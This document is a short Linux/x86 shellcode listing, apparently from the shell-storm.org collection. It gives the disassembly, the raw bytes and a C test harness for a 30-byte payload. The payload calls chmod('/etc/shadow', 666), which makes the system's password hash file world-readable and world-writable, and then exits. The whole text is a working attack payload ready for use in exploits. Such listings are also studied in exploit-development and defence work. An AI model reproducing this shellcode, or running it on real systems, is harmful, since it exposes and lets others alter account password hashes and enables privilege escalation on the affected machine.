/* Linux/x86 - chmod("/etc/shadow",666) & exit(0) Info reg ------------------ %eax = 15 %ebx = /etc/shadow %ecx = 666
%eax = 1 %ebx = 0 Shellcode 30 bytes Author: Jonathan Salwan < submit [AT] shell-storm.org > Web: http://www.shell-storm.org
Disassembly of section .text:
08048054 <.text>: 8048054: 51 push %ecx 8048055: 66 b9 b6 01 mov $0x1b6,%cx 8048059: 68 61 64 6f 77 push $0x776f6461 804805e: 68 63 2f 73 68 push $0x68732f63 8048063: 68 2f 2f 65 74 push $0x74652f2f 8048068: 89 e3 mov %esp,%ebx 804806a: 6a 0f push $0xf 804806c: 58 pop %eax 804806d: cd 80 int $0x80 804806f: 40 inc %eax 8048070: cd 80 int $0x80
*/
#include "stdio.h"
int main(int argc, char *argv[]) {
char shellcode[] = "\x51\x66\xb9\xb6" "\x01\x68\x61\x64" "\x6f\x77\x68\x63" // chmod("/etc/shadow",666) "\x2f\x73\x68\x68" "\x2f\x2f\x65\x74" "\x89\xe3\x6a\x0f" "\x58\xcd\x80"
"\x40\xcd\x80"; // exit(0);
printf("Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }
|